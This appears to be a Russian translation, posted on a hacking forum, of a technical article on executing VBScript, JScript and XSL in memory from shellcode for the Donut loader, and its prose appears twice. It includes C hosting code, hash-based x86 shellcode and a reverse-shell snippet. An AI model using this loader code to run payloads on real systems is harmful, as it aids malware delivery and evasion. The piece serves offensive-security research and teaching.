Shellcode: выполнение в памяти JavaScript, VBScript, JScript и XSL
Вступление
Функция DynaCall () для Win32 была опубликована в августовском выпуске Dr.Dobbs Journal. Автор, Тон Плой, предоставил функцию на C, которая позволяет интерпретируемому языку, такому как VBScript, вызывать внешние функции DLL через зарегистрированный COM-объект. Объект автоматизации для динамических вызовов DLL, опубликованный в ноябре 1998 года Джеффом Стонгом, был основан, чтобы предоставить более полный проект, который он назвал DynamicWrapper. В 2011 году Блэр Странг написал инструмент под названием vbsmem, который использовал DynamicWrapper для выполнения Shell-кода из VBScript. DynamicWrapper был источником вдохновения для другого инструмента под названием DynamicWrapperX, который появился в 2008 году, и он также использовался для выполнения Shell-кода из VBScript.
Обновление мая 2019:
Defender Control Application включает в себя ряд новых политик, один из которых является «COM объект регистрации». Microsoft заявляет, что цель этой политики состоит в том, чтобы обеспечить «встроенный список разрешений для регистрации COM-объектов, чтобы снизить риск, связанный с некоторыми мощными COM-объектами». Они ссылаются на DynamicWrapper? Возможно, но как насчет незарегистрированных COM-объектов? Роберт Фриман / IBM продемонстрировал в 2007 году, что незарегистрированные COM-объекты могут быть полезны для целей запутывания. Его презентация Virus Bulletin. Обфускация нового кода с помощью COM не предоставляет никакого кода для проверки концепции, но демонстрирует возможность неправильного использования интерфейса IActiveScript для вызовов Dynamic DLL без регистрации COM.
Windows Script Host (WSH)
WSH - это технология автоматизации, доступная начиная с Windows 95, которая была популярна среди разработчиков до выпуска .NET Framework в 2002 году. Она в основном использовалась для создания динамического контента, такого как Active Server Pages (ASP), написанного на JScript или VBScript. Поскольку .NET заменил эту технологию, большая часть знаний, приобретенных разработчиками в области Active Scripting вплоть до 2002 года, постепенно исчезла из Интернета. Одна из публикаций, которые часто рекомендуются на форумах разработчиков, - это часто задаваемые вопросы Active X от Mark Baker, в которых даются ответы на большинство вопросов разработчиков об интерфейсе IActiveScript.
Перечисление скриптовых двигателей
Может быть выполнено как минимум двумя способами.
Каждый идентификатор класса, HKEY_CLASSES_ROOT\CLSID\, который содержит подключаемый подраздел, OLEScript может использоваться с Windows Script Hosting. Компонентов для категории Manager можно перечислить CLSID для категории идентификаторов CATID_ActiveScript или CATID_ActiveScriptParse.
Ниже приведен фрагмент кода для отображения активных механизмов сценариев с использованием второго подхода.
Вывод этого кода в системе с установленными ActivePerl и ActivePython:
Механизмы сценариев PerlScript и Python совмещаются с ActiveState. Я бы порекомендовал использовать {16D51579-A30B-4C8B-A276-0FF4DC41E755} для JavaScript.
C реализация IActiveScript
Во время исследования IActiveScript я обнаружил, что статья «COM в простой C» часть 6 Джеффа Глатта, была довольно полезной. Следующий код представляет собой необходимый минимум для выполнения файлов VBS / JS и не поддерживает объекты WSH.
Сборка x86
Наглядно для иллюстрации, что-то похожее в сборке x86 с некоторыми наложенными ограничениями: сценарий не должен превышать 64 КБ, преобразование UTF-16 работает только с символами ANSI (латинский алфавит), а язык (VBS или JS) должен быть предопределен перед сборкой. При объявлении локальной переменной в стеке, превышающей 4 КБ, компиляторы, такие как GCC и MSVC, вставляют код для проверки стека, что позволяет ядру увеличить объем памяти стека, доступной для потока. Конечно, есть переключатели компилятора/ компоновщика для увеличения зарезервированного размера если вы хотели предотвратить проверку стека, но они редко используются на практике. Каждый поток в Windows изначально имеет 16 КБ стека, доступного по умолчанию, как вы можете видеть, вычитая значение StackLimit из StackBase, найденное в блоке среды потока (TEB).
Код ассемблера изначально использовал VirtualAlloc для выделения достаточного пространства, но поскольку этот код вряд ли будет использоваться для чего-либо практического, вместо него используется стек.
Хост-объекты Windows Script
Два именованных объекта (WSH и WScript) добавляются в пространство имен сценария с помощью wscript.exe / cscript.exe, которые не требуют создания экземпляров во время выполнения. Объект 'WScript'используется главным образом для консольного ввода-вывода, доступа к аргументам и пути сценария на диске. Его также можно использовать для завершения сценария с помощью метода Quit или операций опроса с помощью метода Sleep . Интерфейс IActiveScript предоставляет только базовые функции сценариев, поэтому, если мы хотим, чтобы наш хост поддерживал эти объекты или любые другие пользовательские объекты, они должны быть реализованы вручную. Рассмотрим следующий код, взятый из ReVBShell, который должен работать внутри WSH.
Когда это использовалось для тестирования Shell-кода Donut , движок сценария прекратил работу при достижении строки «WScript.Quit 0», поскольку он не распознал объект WScript. «On Error Resume Next» была включена, и поэтому скрипт просто продолжал выполняться. После того, как имя этого объекта было добавлено в пространство имен через IActiveScript :: AddNamedItem, запрос для интерфейсов ITypeInfo и IUnknown был сделан через IActiveScriptSite :: GetItemInfo. Если мы не предоставляем интерфейс для запроса, перед завершением анализатор вызывает IActiveScriptSite :: OnScriptError с сообщением «Переменная «WScript» неопределена».
Для включения поддержки «WScript» требуется пользовательская реализация интерфейса WScript, определенного в информации о типе, которая находится в wscript.exe / cscript.exe. Сначала добавьте имя объекта в пространство именобработчика сценариев, используя AddNamedItem. Это делает любые методы, свойства и события частью этого объекта видимыми для сценария.
Получите информацию о типе из wscript.exe или cscript.exe. IID_IHost - это просто идентификатор класса, полученный из вышеупомянутых EXE-файлов. Ниже приведен скриншот OleWoo , но другие программы просмотра TLB могут работать так же.
Теперь, когда механизм сценариев впервые обнаруживает объект «WScript» и запрашивает интерфейс IUnknown через IActiveScriptSite :: GetItemInfo , Donut возвращает указатель на минимальную реализацию интерфейса IHost.
После этого метод IDispatch :: Invoke будет использоваться для вызова метода Quit, запрошенного сценарием. На данный момент Donut реализует только методы Quit и Sleep, но другие могут поддерживаться по запросу.
Преобразования расширяемого языка таблиц стилей (XSLT)
Файлы XSL могут содержать интерпретированные языки, такие как JScript / VBScript. Следующий код основан на этом примере с помощью TheWover.
PC-относительная адресация в C
Компоновщик делает предположение о том, где PE-файл будет загружен в память. Большинство EXE-файлов запрашивают базовый адрес изображения 0x00400000 для 32-разрядных или 0x0000000140000000 для 64-разрядных. Если загрузчик PE не может отобразить по запрошенному адресу, он использует информацию о перемещении для исправления кода и данных, зависящих от положения. ARM поддерживает относительную к ПК адресацию с помощью кодов операций ADR, ADRP и LDR, но в устаревшем старом x86 отсутствует аналогичная инструкция. x64 поддерживает RIP-относительную адресацию, но нет гарантии, что компилятор будет использовать ее, даже если мы сообщим об этом (-fPIC и -fPIE для GCC). Поскольку мы используем C для Shell -кода, нам нужно вручную вычислить адрес функции относительно того места, где Shell-код находится в памяти. Мы могли бы применять перемещения точно так же, как это делает PE-загрузчик, но самоизменяющийся код может запускать некоторые антивирусные программы. Вместо этого счетчик программы (EIP на x86 или RIP на x64) считывается с использованием некоторой сборки, и это используется для вычисления виртуального адреса функции в памяти. Следующая заглушка кода помещается в конец полезной нагрузки и возвращает значение счетчика программы.
С помощью этого кода компоновщик будет вычислять относительный виртуальный адрес (RVA), вычитая смещение нашей целевой функции из смещения функции get_pc (). Затем во время выполнения он вычтет RVA из программного счетчика, возвращенного get_pc (), чтобы получить виртуальный адрес целевой функции. Позиция get_pc () должна быть помещена в конце полезной нагрузки, иначе это не будет работать. Следующий макрос (названный в честь кода операции ARM ADR) используется для вычисления виртуального адреса функции в памяти.
Чтобы проиллюстрировать, как он используется, следующий код из полезной нагрузки показывает, как инициализировать интерфейс IActiveScriptSite.
Динамические вызовы функций DLL
После реализации поддержки некоторых методов WScript обеспечение доступа к функциям DLL напрямую из VBScript/ JScript с использованием аналогичного подхода стало намного проще для понимания. Первоначальная проблема заключается в том, как загрузить информацию о типе непосредственно из памяти. Одно из решений этого может быть найдено в Облегченном подходе для предоставления объектов C ++ размещенному движку Active Scripting. Столкнувшись с той же проблемой, автор использует CreateDispTypeInfo и CreateStdDispatch для создания интерфейсов ITypeInfo и IDispatch, необходимых для интерпретируемых языков для вызова объектов C ++. Тот же подход можно использовать для вызова функций DLL и не требует регистрации COM.
Переведено специально для XSS
neopaket
modexp.wordpress.com
Вступление
Функция DynaCall () для Win32 была опубликована в августовском выпуске Dr.Dobbs Journal. Автор, Тон Плой, предоставил функцию на C, которая позволяет интерпретируемому языку, такому как VBScript, вызывать внешние функции DLL через зарегистрированный COM-объект. Объект автоматизации для динамических вызовов DLL, опубликованный в ноябре 1998 года Джеффом Стонгом, был основан, чтобы предоставить более полный проект, который он назвал DynamicWrapper. В 2011 году Блэр Странг написал инструмент под названием vbsmem, который использовал DynamicWrapper для выполнения Shell-кода из VBScript. DynamicWrapper был источником вдохновения для другого инструмента под названием DynamicWrapperX, который появился в 2008 году, и он также использовался для выполнения Shell-кода из VBScript.
Обновление мая 2019:
Defender Control Application включает в себя ряд новых политик, один из которых является «COM объект регистрации». Microsoft заявляет, что цель этой политики состоит в том, чтобы обеспечить «встроенный список разрешений для регистрации COM-объектов, чтобы снизить риск, связанный с некоторыми мощными COM-объектами». Они ссылаются на DynamicWrapper? Возможно, но как насчет незарегистрированных COM-объектов? Роберт Фриман / IBM продемонстрировал в 2007 году, что незарегистрированные COM-объекты могут быть полезны для целей запутывания. Его презентация Virus Bulletin. Обфускация нового кода с помощью COM не предоставляет никакого кода для проверки концепции, но демонстрирует возможность неправильного использования интерфейса IActiveScript для вызовов Dynamic DLL без регистрации COM.
Windows Script Host (WSH)
WSH - это технология автоматизации, доступная начиная с Windows 95, которая была популярна среди разработчиков до выпуска .NET Framework в 2002 году. Она в основном использовалась для создания динамического контента, такого как Active Server Pages (ASP), написанного на JScript или VBScript. Поскольку .NET заменил эту технологию, большая часть знаний, приобретенных разработчиками в области Active Scripting вплоть до 2002 года, постепенно исчезла из Интернета. Одна из публикаций, которые часто рекомендуются на форумах разработчиков, - это часто задаваемые вопросы Active X от Mark Baker, в которых даются ответы на большинство вопросов разработчиков об интерфейсе IActiveScript.
Перечисление скриптовых двигателей
Может быть выполнено как минимум двумя способами.
Каждый идентификатор класса, HKEY_CLASSES_ROOT\CLSID\, который содержит подключаемый подраздел, OLEScript может использоваться с Windows Script Hosting. Компонентов для категории Manager можно перечислить CLSID для категории идентификаторов CATID_ActiveScript или CATID_ActiveScriptParse.
Ниже приведен фрагмент кода для отображения активных механизмов сценариев с использованием второго подхода.
Код:
void DisplayScriptEngines(void) {
ICatInformation *pci = NULL;
IEnumCLSID *pec = NULL;
HRESULT hr;
CLSID clsid;
OLECHAR *progID, *idStr, path[MAX_PATH], desc[MAX_PATH];
// initialize COM
CoInitialize(NULL);
// obtain component category manager for this machine
hr = CoCreateInstance(
CLSID_StdComponentCategoriesMgr,
0, CLSCTX_SERVER, IID_ICatInformation,
(void**)&pci);
if(hr == S_OK) {
// obtain list of script engine parsers
hr = pci->EnumClassesOfCategories(
1, &CATID_ActiveScriptParse, 0, 0, &pec);
if(hr == S_OK) {
// print each CLSID and Program ID
for(;;) {
ZeroMemory(path, ARRAYSIZE(path));
ZeroMemory(desc, ARRAYSIZE(desc));
hr = pec->Next(1, &clsid, 0);
if(hr != S_OK) {
break;
}
ProgIDFromCLSID(clsid, &progID);
StringFromCLSID(clsid, &idStr);
GetProgIDInfo(idStr, path, desc);
wprintf(L"\n*************************************\n");
wprintf(L"Description : %s\n", desc);
wprintf(L"CLSID : %s\n", idStr);
wprintf(L"Program ID : %s\n", progID);
wprintf(L"Path of DLL : %s\n", path);
CoTaskMemFree(progID);
CoTaskMemFree(idStr);
}
pec->Release();
}
pci->Release();
}
}
Вывод этого кода в системе с установленными ActivePerl и ActivePython:
Код:
*************************************
Description : JScript Language
CLSID : {16D51579-A30B-4C8B-A276-0FF4DC41E755}
Program ID : JScript
Path of DLL : C:\Windows\System32\jscript9.dll
*************************************
Description : XML Script Engine
CLSID : {989D1DC0-B162-11D1-B6EC-D27DDCF9A923}
Program ID : XML
Path of DLL : C:\Windows\System32\msxml3.dll
*************************************
Description : VB Script Language
CLSID : {B54F3741-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript
Path of DLL : C:\Windows\System32\vbscript.dll
*************************************
Description : VBScript Language Encoding
CLSID : {B54F3743-5B07-11CF-A4B0-00AA004A55E8}
Program ID : VBScript.Encode
Path of DLL : C:\Windows\System32\vbscript.dll
*************************************
Description : JScript Compact Profile (ECMA 327)
CLSID : {CC5BBEC3-DB4A-4BED-828D-08D78EE3E1ED}
Program ID : JScript.Compact
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : Python ActiveX Scripting Engine
CLSID : {DF630910-1C1D-11D0-AE36-8C0F5E000000}
Program ID : Python.AXScript.2
Path of DLL : pythoncom36.dll
*************************************
Description : JScript Language
CLSID : {F414C260-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : JScript Language Encoding
CLSID : {F414C262-6AC0-11CF-B6D1-00AA00BBBB58}
Program ID : JScript.Encode
Path of DLL : C:\Windows\System32\jscript.dll
*************************************
Description : PerlScript Language
CLSID : {F8D77580-0F09-11D0-AA61-3C284E000000}
Program ID : PerlScript
Path of DLL : C:\Perl64\bin\PerlSE.dll
Механизмы сценариев PerlScript и Python совмещаются с ActiveState. Я бы порекомендовал использовать {16D51579-A30B-4C8B-A276-0FF4DC41E755} для JavaScript.
C реализация IActiveScript
Во время исследования IActiveScript я обнаружил, что статья «COM в простой C» часть 6 Джеффа Глатта, была довольно полезной. Следующий код представляет собой необходимый минимум для выполнения файлов VBS / JS и не поддерживает объекты WSH.
Код:
VOID run_script(PWCHAR lang, PCHAR script) {
IActiveScriptParse *parser;
IActiveScript *engine;
MyIActiveScriptSite mas;
IActiveScriptSiteVtbl vft;
LPVOID cs;
DWORD len;
CLSID langId;
HRESULT hr;
// 1. Initialize IActiveScript based on language
CLSIDFromProgID(lang, &langId);
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoCreateInstance(
&langId, 0, CLSCTX_INPROC_SERVER,
&IID_IActiveScript, (void **)&engine);
// 2. Query engine for script parser and initialize
engine->lpVtbl->QueryInterface(
engine, &IID_IActiveScriptParse,
(void **)&parser);
parser->lpVtbl->InitNew(parser);
// 3. Initialize IActiveScriptSite interface
vft.QueryInterface = (LPVOID)QueryInterface;
vft.AddRef = (LPVOID)AddRef;
vft.Release = (LPVOID)Release;
vft.GetLCID = (LPVOID)GetLCID;
vft.GetItemInfo = (LPVOID)GetItemInfo;
vft.GetDocVersionString = (LPVOID)GetDocVersionString;
vft.OnScriptTerminate = (LPVOID)OnScriptTerminate;
vft.OnStateChange = (LPVOID)OnStateChange;
vft.OnScriptError = (LPVOID)OnScriptError;
vft.OnEnterScript = (LPVOID)OnEnterScript;
vft.OnLeaveScript = (LPVOID)OnLeaveScript;
mas.site.lpVtbl = (IActiveScriptSiteVtbl*)&vft;
mas.siteWnd.lpVtbl = NULL;
mas.m_cRef = 0;
engine->lpVtbl->SetScriptSite(
engine, (IActiveScriptSite *)&mas);
// 4. Convert script to unicode and execute
len = MultiByteToWideChar(
CP_ACP, 0, script, -1, NULL, 0);
len *= sizeof(WCHAR);
cs = malloc(len);
len = MultiByteToWideChar(
CP_ACP, 0, script, -1, cs, len);
parser->lpVtbl->ParseScriptText(
parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
engine->lpVtbl->SetScriptState(
engine, SCRIPTSTATE_CONNECTED);
// 5. cleanup
parser->lpVtbl->Release(parser);
engine->lpVtbl->Close(engine);
engine->lpVtbl->Release(engine);
free(cs);
}
Сборка x86
Наглядно для иллюстрации, что-то похожее в сборке x86 с некоторыми наложенными ограничениями: сценарий не должен превышать 64 КБ, преобразование UTF-16 работает только с символами ANSI (латинский алфавит), а язык (VBS или JS) должен быть предопределен перед сборкой. При объявлении локальной переменной в стеке, превышающей 4 КБ, компиляторы, такие как GCC и MSVC, вставляют код для проверки стека, что позволяет ядру увеличить объем памяти стека, доступной для потока. Конечно, есть переключатели компилятора/ компоновщика для увеличения зарезервированного размера если вы хотели предотвратить проверку стека, но они редко используются на практике. Каждый поток в Windows изначально имеет 16 КБ стека, доступного по умолчанию, как вы можете видеть, вычитая значение StackLimit из StackBase, найденное в блоке среды потока (TEB).
Код:
0:004> !teb
TEB at 000000f4018bf000
ExceptionList: 0000000000000000
StackBase: 000000f401c00000
StackLimit: 000000f401bfc000
SubSystemTib: 0000000000000000
FiberData: 0000000000001e00
ArbitraryUserPointer: 0000000000000000
Self: 000000f4018bf000
EnvironmentPointer: 0000000000000000
ClientId: 0000000000001940 . 000000000000067c
RpcHandle: 0000000000000000
Tls Storage: 0000000000000000
PEB Address: 000000f40185a000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
0:004> ? 000000f401c00000 - 000000f401bfc000
Evaluate expression: 16384 = 00000000`00004000
Код ассемблера изначально использовал VirtualAlloc для выделения достаточного пространства, но поскольку этот код вряд ли будет использоваться для чего-либо практического, вместо него используется стек.
Код:
; In-Memory execution of VBScript/JScript using 392 bytes of x86 assembly
; Odzhan
%include "ax.inc"
%define VBS
bits 32
%ifndef BIN
global run_scriptx
global _run_scriptx
%endif
run_scriptx:
_run_scriptx:
pop ecx ; ecx = return address
pop eax ; eax = script parameter
push ecx ; save return address
cdq ; edx = 0
; allocate 128KB of stack.
push 32 ; ecx = 32
pop ecx
mov dh, 16 ; edx = 4096
pushad ; save all registers
xchg eax, esi ; esi = script
alloc_mem:
sub esp, edx ; subtract size of page
test [esp], esp ; stack probe
loop alloc_mem ; continue for 32 pages
mov edi, esp ; edi = memory
xor eax, eax
utf8_to_utf16: ; YMMV. Prone to a stack overflow.
cmp byte[esi], al ; ? [esi] == 0
movsb ; [edi] = [esi], edi++, esi++
stosb ; [edi] = 0, edi++
jnz utf8_to_utf16 ;
stosd ; store 4 nulls at end
and edi, -4 ; align by 4 bytes
call init_api ; load address of invoke_api onto stack
; *******************************
; INPUT: eax contains hash of API
; Assumes DLL already loaded
; No support for resolving by ordinal or forward references
; *******************************
invoke_api:
pushad
push TEB.ProcessEnvironmentBlock
pop ecx
mov eax, [fs:ecx]
mov eax, [eax+PEB.Ldr]
mov edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
jmp get_dll
next_dll:
mov edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
get_dll:
mov ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
mov eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
mov ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
IMAGE_OPTIONAL_HEADER32.DataDirectory + \
IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
IMAGE_DATA_DIRECTORY.VirtualAddress]
jecxz next_dll
; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
lea esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
lodsd
xchg eax, ecx
jecxz next_dll ; skip if no names
; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lodsd
add eax, ebx ; ebp = RVA2VA(eax, ebx)
xchg eax, ebp ;
; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
lodsd
add eax, ebx ; edx = RVA2VA(eax, ebx)
xchg eax, edx ;
; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
lodsd
add eax, ebx ; esi = RVA2VA(eax, ebx)
xchg eax, esi
get_name:
pushad
mov esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]
add esi, ebx ; esi = RVA2VA(esi, ebx)
xor eax, eax ; eax = 0
cdq ; h = 0
hash_name:
lodsb
add edx, eax
ror edx, 8
dec eax
jns hash_name
cmp edx, [esp + _eax + pushad_t_size] ; hashes match?
popad
loopne get_name ; --ecx && edx != hash
jne next_dll ; get next DLL
movzx eax, word [esi+ecx*2] ; eax = AddressOfNameOrdinals[ecx]
add ebx, [ebp+eax*4] ; ecx = base + AddressOfFunctions[eax]
mov [esp+_eax], ebx
popad ; restore all
jmp eax
_ds_section:
; ---------------------
db "ole32", 0, 0, 0
co_init:
db "CoInitializeEx", 0
co_init_len equ $-co_init
co_create:
db "CoCreateInstance", 0
co_create_len equ $-co_create
; IID_IActiveScript
; IID_IActiveScriptParse32 +1
dd 0xbb1a2ae1
dw 0xa4f9, 0x11cf
db 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64
%ifdef VBS
; CLSID_VBScript
dd 0xB54F3741
dw 0x5B07, 0x11cf
db 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8
%else
; CLSID_JScript
dd 0xF414C260
dw 0x6AC0, 0x11CF
db 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58
%endif
_QueryInterface:
mov eax, E_NOTIMPL ; return E_NOTIMPL
retn 3*4
_AddRef:
_Release:
pop eax ; return S_OK
push eax
push eax
_GetLCID:
_GetItemInfo:
_GetDocVersionString:
pop eax ; return S_OK
push eax
push eax
_OnScriptTerminate:
xor eax, eax ; return S_OK
retn 3*4
_OnStateChange:
_OnScriptError:
jmp _GetDocVersionString
_OnEnterScript:
_OnLeaveScript:
jmp _Release
init_api:
pop ebp
lea esi, [ebp + (_ds_section - invoke_api)]
; LoadLibrary("ole32");
push esi ; "ole32", 0
mov eax, 0xFA183D4A ; eax = hash("LoadLibraryA")
call ebp ; invoke_api(eax)
xchg ebx, eax ; ebp = base of ole32
lodsd ; skip "ole32"
lodsd
; _CoInitializeEx = GetProcAddress(ole32, "CoInitializeEx");
mov eax, 0x4AAC90F7 ; eax = hash("GetProcAddress")
push eax ; save eax/hash
push esi ; esi = "CoInitializeEx"
push ebx ; base of ole32
call ebp ; invoke_api(eax)
; 1. _CoInitializeEx(NULL, COINIT_MULTITHREADED);
cdq ; edx = 0
push edx ; COINIT_MULTITHREADED
push edx ; NULL
call eax ; CoInitializeEx
add esi, co_init_len ; skip "CoInitializeEx", 0
; _CoCreateInstance = GetProcAddress(ole32, "CoCreateInstance");
pop eax ; eax = hash("GetProcAddress")
push esi ; "CoCreateInstance"
push ebx ; base of ole32
call ebp ; invoke_api
add esi, co_create_len ; skip "CoCreateInstance", 0
; 2. _CoCreateInstance(
; &langId, 0, CLSCTX_INPROC_SERVER,
; &IID_IActiveScript, (void **)&engine);
push edi ; &engine
scasd ; skip engine
mov ebx, edi ; ebx = &parser
push edi ; &IID_IActiveScript
movsd
movsd
movsd
movsd
push CLSCTX_INPROC_SERVER
push 0 ;
push esi ; &CLSID_VBScript or &CLSID_JScript
call eax ; _CoCreateInstance
; 3. Query engine for script parser
; engine->lpVtbl->QueryInterface(
; engine, &IID_IActiveScriptParse,
; (void **)&parser);
push edi ; &parser
push ebx ; &IID_IActiveScriptParse32
inc dword[ebx] ; add 1 for IActiveScriptParse32
mov esi, [ebx-4] ; esi = engine
push esi ; engine
mov eax, [esi] ; eax = engine->lpVtbl
call dword[eax + IUnknownVtbl.QueryInterface]
; 4. Initialize parser
; parser->lpVtbl->InitNew(parser);
mov ebx, [edi] ; ebx = parser
push ebx ; parser
mov eax, [ebx] ; eax = parser->lpVtbl
call dword[eax + IActiveScriptParse32Vtbl.Init
; 5. Initialize IActiveScriptSite
lea eax, [ebp + (_QueryInterface - invoke_api)]
push edi ; save pointer to IActiveScriptSiteVtbl
stosd ; vft.QueryInterface = (LPVOID)QueryInterface;
add eax, _AddRef - _QueryInterface
stosd ; vft.AddRef = (LPVOID)AddRef;
stosd ; vft.Release = (LPVOID)Release;
add eax, _GetLCID - _Release
stosd ; vft.GetLCID = (LPVOID)GetLCID;
stosd ; vft.GetItemInfo = (LPVOID)GetItemInfo;
stosd ; vft.GetDocVersionString = (LPVOID)GetDocVersionString;
add eax, _OnScriptTerminate - _GetDocVersionString
stosd ; vft.OnScriptTerminate = (LPVOID)OnScriptTerminate;
add eax, _OnStateChange - _OnScriptTerminate
stosd ; vft.OnStateChange = (LPVOID)OnStateChange;
stosd ; vft.OnScriptError = (LPVOID)OnScriptError;
inc eax
inc eax
stosd ; vft.OnEnterScript = (LPVOID)OnEnterScript;
stosd ; vft.OnLeaveScript = (LPVOID)OnLeaveScript;
pop eax ; eax = &vft
; 6. Set script site
; engine->lpVtbl->SetScriptSite(
; engine, (IActiveScriptSite *)&mas);
push edi ; &IMyActiveScriptSite
stosd ; IActiveScriptSite.lpVtbl = &vft
xor eax, eax
stosd ; IActiveScriptSiteWindow.lpVtbl = NULL
push esi ; engine
mov eax, [esi]
call dword[eax + IActiveScriptVtbl.SetScriptSite]
; 7. Parse our script
; parser->lpVtbl->ParseScriptText(
; parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
mov edx, esp
push 8
pop ecx
init_parse:
push eax ; 0
loop init_parse
push edx ; script
push ebx ; parser
mov eax, [ebx]
call dword[eax + IActiveScriptParse32Vtbl.ParseScriptText]
; 8. Run script
; engine->lpVtbl->SetScriptState(
; engine, SCRIPTSTATE_CONNECTED);
push SCRIPTSTATE_CONNECTED
push esi
mov eax, [esi]
call dword[eax + IActiveScriptVtbl.SetScriptState]
; 9. cleanup
; parser->lpVtbl->Release(parser);
push ebx
mov eax, [ebx]
call dword[eax + IUnknownVtbl.Release]
; engine->lpVtbl->Close(engine);
push esi ; engine
push esi ; engine
lodsd ; eax = lpVtbl
xchg eax, edi
call dword[edi + IActiveScriptVtbl.Close]
; engine->lpVtbl->Release(engine);
call dword[edi + IUnknownVtbl.Release]
inc eax ; eax = 4096 * 32
shl eax, 17
add esp, eax
popad
ret
Хост-объекты Windows Script
Два именованных объекта (WSH и WScript) добавляются в пространство имен сценария с помощью wscript.exe / cscript.exe, которые не требуют создания экземпляров во время выполнения. Объект 'WScript'используется главным образом для консольного ввода-вывода, доступа к аргументам и пути сценария на диске. Его также можно использовать для завершения сценария с помощью метода Quit или операций опроса с помощью метода Sleep . Интерфейс IActiveScript предоставляет только базовые функции сценариев, поэтому, если мы хотим, чтобы наш хост поддерживал эти объекты или любые другие пользовательские объекты, они должны быть реализованы вручную. Рассмотрим следующий код, взятый из ReVBShell, который должен работать внутри WSH.
Код:
While True
' receive command from remote HTTP server
' other code omitted
Select Case strCommand
Case "KILL"
SendStatusUpdate strRawCommand, "Goodbye!"
WScript.Quit 0
End Select
Wend
Когда это использовалось для тестирования Shell-кода Donut , движок сценария прекратил работу при достижении строки «WScript.Quit 0», поскольку он не распознал объект WScript. «On Error Resume Next» была включена, и поэтому скрипт просто продолжал выполняться. После того, как имя этого объекта было добавлено в пространство имен через IActiveScript :: AddNamedItem, запрос для интерфейсов ITypeInfo и IUnknown был сделан через IActiveScriptSite :: GetItemInfo. Если мы не предоставляем интерфейс для запроса, перед завершением анализатор вызывает IActiveScriptSite :: OnScriptError с сообщением «Переменная «WScript» неопределена».
Для включения поддержки «WScript» требуется пользовательская реализация интерфейса WScript, определенного в информации о типе, которая находится в wscript.exe / cscript.exe. Сначала добавьте имя объекта в пространство именобработчика сценариев, используя AddNamedItem. Это делает любые методы, свойства и события частью этого объекта видимыми для сценария.
Код:
obj = SysAllocString(L"WScript");
engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj, SCRIPTITEM_ISVISIBLE);
Получите информацию о типе из wscript.exe или cscript.exe. IID_IHost - это просто идентификатор класса, полученный из вышеупомянутых EXE-файлов. Ниже приведен скриншот OleWoo , но другие программы просмотра TLB могут работать так же.
Код:
ITypeLib lpTypeLib;
ITypeInfo lpTypeInfo;
LoadTypeLib(L"WScript.exe", &lpTypeLib);
lpTypeLib->lpVtbl->GetTypeInfoOfGuid(lpTypeLib, &IID_IHost, &lpTypeInfo);
Теперь, когда механизм сценариев впервые обнаруживает объект «WScript» и запрашивает интерфейс IUnknown через IActiveScriptSite :: GetItemInfo , Donut возвращает указатель на минимальную реализацию интерфейса IHost.
После этого метод IDispatch :: Invoke будет использоваться для вызова метода Quit, запрошенного сценарием. На данный момент Donut реализует только методы Quit и Sleep, но другие могут поддерживаться по запросу.
Преобразования расширяемого языка таблиц стилей (XSLT)
Файлы XSL могут содержать интерпретированные языки, такие как JScript / VBScript. Следующий код основан на этом примере с помощью TheWover.
Код:
void run_xml_script(const char *path) {
IXMLDOMDocument *pDoc;
IXMLDOMNode *pNode;
HRESULT hr;
PWCHAR xml_str;
VARIANT_BOOL loaded;
BSTR res;
xml_str = read_script(path);
if(xml_str == NULL) return;
// 1. Initialize COM
hr = CoInitialize(NULL);
if(hr == S_OK) {
// 2. Instantiate XMLDOMDocument object
hr = CoCreateInstance(
&CLSID_DOMDocument30,
NULL, CLSCTX_INPROC_SERVER,
&IID_IXMLDOMDocument,
(void**)&pDoc);
if(hr == S_OK) {
// 3. load XML file
hr = pDoc->lpVtbl->loadXML(pDoc, xml_str, &loaded);
if(hr == S_OK) {
// 4. create node interface
hr = pDoc->lpVtbl->QueryInterface(
pDoc, &IID_IXMLDOMNode, (void **)&pNode);
if(hr == S_OK) {
// 5. execute script
hr = pDoc->lpVtbl->transformNode(pDoc, pNode, &res);
pNode->lpVtbl->Release(pNode);
}
}
pDoc->lpVtbl->Release(pDoc);
}
CoUninitialize();
}
free(xml_str);
}
PC-относительная адресация в C
